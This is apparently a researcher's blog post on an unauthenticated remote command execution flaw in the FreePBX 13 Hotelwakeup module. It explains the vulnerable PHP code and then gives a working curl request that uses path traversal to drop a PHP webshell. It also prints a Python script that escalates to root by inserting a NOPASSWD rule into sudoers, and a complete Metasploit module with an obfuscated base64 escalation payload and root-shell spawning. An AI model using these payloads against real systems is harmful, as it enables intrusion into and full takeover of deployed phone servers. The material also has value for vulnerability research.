
Intro
I already released fully working exploit + brief writeup at Exploit-DB If you need more details then proceed with this post
Freepbx is famous voip distro based on asterisk + Centos
According to the official site the distro is deployed on newly 20,000 machine monthly and already up and running on around 1m machine either on external or internal networks
Freepbx suffer from remote command execution flaw that can be escalated to full root access over the vulnerable machine Freepbx mainly prevent unauthorized access to php files via quite good .htaccess rules
SetEnv HTACCESS on
<IfModule !mod_authz_core.c>
<FilesMatch "\..*$">
Deny from all
</FilesMatch>
</IfModule>
<IfModule mod_authz_core.c>
<FilesMatch "\..*$">
Require all denied
</FilesMatch>
</IfModule>
<IfModule !mod_authz_core.c>
<FilesMatch "(^$|index\.php|config\.php|ajax\.php|\.(gif|GIF|jpg|jpeg|png|css|js|swf|txt|ico|ttf|svg|eot|woff|woff2|wav|mp3|aac|ogg|webm|gz)$)">
Allow from all
</FilesMatch>
</IfModule>
<IfModule mod_authz_core.c>
<FilesMatch "(^$|index\.php|config\.php|ajax\.php|\.(gif|GIF|jpg|jpeg|png|css|js|swf|txt|ico|ttf|svg|eot|woff|woff2|wav|mp3|aac|ogg|webm|gz)$)">
Require all granted
</FilesMatch>
</IfModule>Code language: Bash (bash)1st the htaccess file prevent access to all files located at the admin directory then allow access to css , gz , music , images , txt . . almost everything except the only thing we are interested about , the php files except for index.php , config.php which are secured by login schema , ajax.php which we are interested about
ajax.php , modules and some technical stuff
ajax.php is being used by admin panel to call fpbx modules on request and was being used by index file to call few modules that do not require authentication such as registration and by default the main framework module ajax.php code is
<?php
if (!isset($_REQUEST['module'])) {
$module = "framework";
} else {
$module = $_REQUEST['module'];
}
if (isset($_REQUEST['command'])) {
$command = $_REQUEST['command'];
} else {
$command = "unset";
}
$bootstrap_settings['freepbx_auth'] = false;
$bootstrap_settings['whoops_handler'] = 'JsonResponseHandler';
$restrict_mods = true;
if (!@include_once(getenv('FREEPBX_CONF') ? getenv('FREEPBX_CONF') : '/etc/freepbx.conf')) {
include_once('/etc/asterisk/freepbx.conf');
}
error_reporting(-1);
modgettext::textdomain($module);
$bmo->Ajax->doRequest($module, $command);Code language: PHP (php)obious enough , hah? using 2 parameters module to call the wanted module , command to pass the needed action to the module
ajax.php?module=ox4148&command=fooCode language: plaintext (plaintext)will search for module ox4148 inside admin/modules directory , then search for Ox4148.class.php file inside that directry then check if the module support ajax request or not via looking for function ajaxRequest in which the module action is identified , check if request require authentication or not proceed it if everything is ok or ignore it if not If found then it’s proceed via the function ajaxHandler which do the rest of stuff
If you did not get it it’s ok , just go on with the rest of the post and it will be more obvious enough talk about ajax and modules and let’s get into the more interesting part
what’s up with hotel wakeup!
Hotel wake up is a pre-installed module come by default with freepbx 13.x
The Wake Up Calls module allows users to generate a hotel-style wake up call for their extension.
what’s interesting about it? Obvious , it’s vulnerable basically the module create outgoing call file for asterisk with specific time/date to specific destination file is being written in asterisk outgoing directory then when time/date come asterisk automatically proceed the file , extract options and proceed the call on time with nice wakeup message
<?php
public function generateCallFile($foo) {
if (empty($foo['tempdir'])) {
$ast_tmp_path = $this->FreePBX->Config->get('ASTSPOOLDIR')."/tmp/";
if(!file_exists($ast_tmp_path)) {
mkdir($ast_tmp_path,0777,true);
}
$foo['tempdir'] = $ast_tmp_path;
}
if (empty($foo['outdir'])) {
$foo['outdir'] = $this->FreePBX->Config->get('ASTSPOOLDIR')."/outgoing/";
}
if (empty($foo['filename'])) {
$foo['filename'] = "wuc.".$foo['time'].".ext.".$foo['ext'].".call";
}
$tempfile = $foo['tempdir'].$foo['filename'];
$outfile = $foo['outdir'].$foo['filename'];
// Delete any old .call file with the same name as the one we are creating.
if(file_exists($outfile) ) {
unlink($outfile);
}
// Create up a .call file, write and close
$wuc = fopen($tempfile, 'w');
fputs( $wuc, "channel: Local/".$foo['ext']."@originate-skipvm\n" );
fputs( $wuc, "maxretries: ".$foo['maxretries']."\n");
fputs( $wuc, "retrytime: ".$foo['retrytime']."\n");
fputs( $wuc, "waittime: ".$foo['waittime']."\n");
fputs( $wuc, "callerid: ".$foo['callerid']."\n");
fputs( $wuc, 'set: CHANNEL(language)='.$foo['language']."\n");
fputs( $wuc, "application: ".$foo['application']."\n");
fputs( $wuc, "data: ".$foo['data']."\n");
fclose( $wuc );
// set time of temp file and move to outgoing
touch( $tempfile, $foo['time'], $foo['time'] );
rename( $tempfile, $outfile );
}
Code language: PHP (php)
Line 215 control the outgoing file name which contain the destination extension
Line 233 control the wakeup language will be then being written inside the call file
so by manipulating both options we are able to control the filename , file contents = Ideal code execution conditions
Taking control
Function generatecallfile is being called via another function in the same file which is addWakeup
<?php
public function addWakeup($destination, $time, $lang) {
$date = $this->getConfig(); // module config provided by user
$this->generateCallFile(array(
"time" => $time,
"date" => 'unused',
"ext" => $destination,
"language" => $lang,
"maxretries" => $date['maxretries'],
"retrytime" => $date['retrytime'],
"waittime" => $date['waittime'],
"callerid" => $date['cnam']." <".$date['cid'].">",
"application" => 'AGI',
"data" => 'wakeconfirm.php',
));
}
Code language: PHP (php)
Line 99 control destination extension which mean controlling file name , remember?
Line 100 control language which mean controlling file contents
Still great
function addwakeup is being proceed when calling the hotelwakeup module , setting savecall as argument
Code snip
<?php
public function ajaxHandler() {
switch($_REQUEST['command']) {
case "savecall":
if(empty($_POST['language'])) {
$lang = 'en'; //default to English if empty
} else {
$lang = $_POST['language']; //otherwise set to the language code provided
}
if(empty($_POST['day']) || empty($_POST['time'])) {
return array("status" => false, "message" => _("Cannot schedule the call, due to insufficient data"));
}
$time_wakeup = strtotime($_POST['day']." ".$_POST['time']);
$time_now = time();
$badtime = false;
if ( $time_wakeup === false || $time_wakeup <= $time_now ) {
$badtime = true;
}
// check for insufficient data
if ($badtime) {
// abandon .call file creation and pop up a js alert to the user
return array("status" => false, "message" => sprintf(_("Cannot schedule the call the scheduled time is in the past. [Time now: %s] [Wakeup Time: %s]"),date(DATE_RFC2822,$time_now),date(DATE_RFC2822,$time_wakeup)));
} else {
$this->addWakeup($_POST['destination'],$time_wakeup,$lang);
return array("status" => true);
}
break;
case "getable":
return $this->getAllCalls();
break;
}
return true;
}
Code language: PHP (php)
Line 66 will take the language value from $_POST[‘language’]
Line 83 will take the destination value from $_POST[‘destination’]
then proceed both via
$this->addWakeup($_POST['destination'],$time_wakeup,$lang);Code language: plaintext (plaintext)Exploitation and gaining access
Passing POST request to http://TARGET/admin/ajax.php
Data : module=hotelwakeup&command=savecall&day=now&time=”%”2B1 week&destination=/../../../../../../var/www/html/0x4148.php&language=<?php system(‘uname -a;id’);?>
will result in creating file named 0x4148.php.call at /var/www/html (which isn’t protected by the htaccess) so the file can be accessed via http://TAREGT/0x4148.php.call
which result in execution of php code system(‘uname -a;id’);
[0x4148:/lab]# curl "http://TARGET/admin/ajax.php" -H "Host: TARGET" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" -H "Accept-Language: en-US,en;q=0.5" --compressed -H "Referer: http://TARGET/admin/ajax.php" -H "Cookie: lang=en_US; PHPSESSID=9sfgl5leajk74buajm0re2i014" -H "Connection: keep-alive" -H "Upgrade-Insecure-Requests: 1" --data "module=hotelwakeup&command=savecall&day=now&time="%"2B1 week&destination=/../../../../../../var/www/html/0x4148.php&language=<?php system('uname -a;id');?>"
{"error":{"type":"Whoops\\Exception\\ErrorException","message":"touch(): Unable to create file \/var\/spool\/asterisk\/tmp\/wuc.1475613328.ext.\/..\/..\/..\/..\/..\/..\/var\/www\/html\/0x4148.php.call because No such file or directory","file":"\/var\/www\/html\/admin\/modules\/hotelwakeup\/Hotelwakeup.class.php","line":238}}#
The error mean nothing , we still can get our malicious file via http://server:port/0x4148.php.call
the server will ignore.call extn and will execute the php
[0x4148:/lab]# curl "http://TARGET/0x4148.php.call"
channel: Local//../../../../../../var/www/html/0x4148.php@originate-skipvm
maxretries: 3
retrytime: 60
waittime: 60
callerid: Wake Up Calls <*68>
set: CHANNEL(language)=Linux HOUPBX 2.6.32-504.8.1.el6.x86_64 #1 SMP Wed Jan 28 21:11:36 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
uid=499(asterisk) gid=498(asterisk) groups=498(asterisk)
application: AGI
data: wakeconfirm.phpCode language: Bash (bash)and our uname -a , id commands were executed
Escalation
pgt release previous privilege escalation flaw in freepbx which for sure wont be patched soon
import os
import time
# -*- coding: utf-8 -*-
cmd = 'sed -i — \'s/Com Inc./Com Inc.\\necho "asterisk ALL=\(ALL\)\ ' \
'NOPASSWD\:ALL"\>\>\/etc\/sudoers/g\' /var/lib/' \
'asterisk/bin/freepbx_engine'
os.system(cmd)
os.system('echo a > /var/spool/asterisk/sysadmin/amportal_restart')
time.sleep(20)
os.system('sudo whatever')Code language: Python (python)Putting all together
MSF module that do it all
Full msf module code
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'FreePBX < 13.0.188.1 Remote root exploit',
'Description' => '
This module exploits an unauthenticated remote command execution in FreePBX module Hotelwakeup
',
'License' => MSF_LICENSE,
'Author' =>
[
'Ahmed sultan (0x4148) <[email protected]>', # discovery of vulnerability and msf module
],
'References' =>
[
"NA"
],
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl telnet python'
}
},
'Platform' => %w(linux unix),
'Arch' => ARCH_CMD,
'Targets' => [['Automatic', {}]],
'Privileged' => 'false',
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 27 2016'))
end
def print_status(msg = '')
super("#{rhost}:#{rport} - #{msg}")
end
def print_error(msg = '')
super("#{rhost}:#{rport} - #{msg}")
end
def print_good(msg = '')
super("#{rhost}:#{rport} - #{msg}")
end
# Application Check
def check
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
'headers' => {
'Referer' => "http://#{datastore['RHOST']}/jnk0x4148stuff"
},
'vars_post' => {
'module' => 'hotelwakeup',
'command' => 'savecall'
}
)
unless res
vprint_error('Connection timed out.')
end
if res.body.include? "Referrer"
vprint_good("Hotelwakeup module detected")
return Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end
def exploit
vprint_status('Sending payload . . .')
pwn = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
'headers' => {
'Referer' => "http://#{datastore['RHOST']}:#{datastore['RPORT']}/admin/ajax.php?module=hotelwakeup&action=savecall",
'Accept' => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
'User-agent' => "mostahter ;)"
},
'vars_post' => {
'module' => 'hotelwakeup',
'command' => 'savecall',
'day' => 'now',
'time' => '+1 week',
'destination' => '/../../../../../../var/www/html/0x4148.php',
'language' => '<?php echo "0x4148@r1z";if($_GET[\'r1zcmd\']!=\'\'){system("sudo ".$_GET[\'r1zcmd\']);}else{fwrite(fopen("0x4148.py","w+"),base64_decode("IyEvdXNyL2Jpbi9lbnYgcHl0aG9uCmltcG9ydCBvcwppbXBvcnQgdGltZQojIC0qLSBjb2Rpbmc6IHV0Zi04IC0qLSAKY21kID0gJ3NlZCAtaSBcJ3MvQ29tIEluYy4vQ29tIEluYy5cXG5lY2hvICJhc3RlcmlzayBBTEw9XChBTExcKVwgICcgXAoJJ05PUEFTU1dEXDpBTEwiXD5cPlwvZXRjXC9zdWRvZXJzL2dcJyAvdmFyL2xpYi8nIFwKCSdhc3Rlcmlzay9iaW4vZnJlZXBieF9lbmdpbmUnCm9zLnN5c3RlbShjbWQpCm9zLnN5c3RlbSgnZWNobyBhID4gL3Zhci9zcG9vbC9hc3Rlcmlzay9zeXNhZG1pbi9hbXBvcnRhbF9yZXN0YXJ0JykKdGltZS5zbGVlcCgyMCk="));system("python 0x4148.py");}?>',
}
)
#vprint_status("#{pwn}")
vprint_status('Trying to execute payload <taking around 20 seconds in case of success>')
escalate = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '0x4148.php.call'),
'vars_get' => {
'0x4148' => "r1z"
}
)
if escalate.body.include? "0x4148@r1z"
vprint_good("Payload executed")
vprint_status("Spawning root shell")
killit = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '0x4148.php.call'),
'vars_get' => {
'r1zcmd' => "#{payload.encoded}"
}
)
else
vprint_error("Exploitation Failed")
end
end
endCode language: Ruby (ruby)That’s it,
Until next time, Ahmed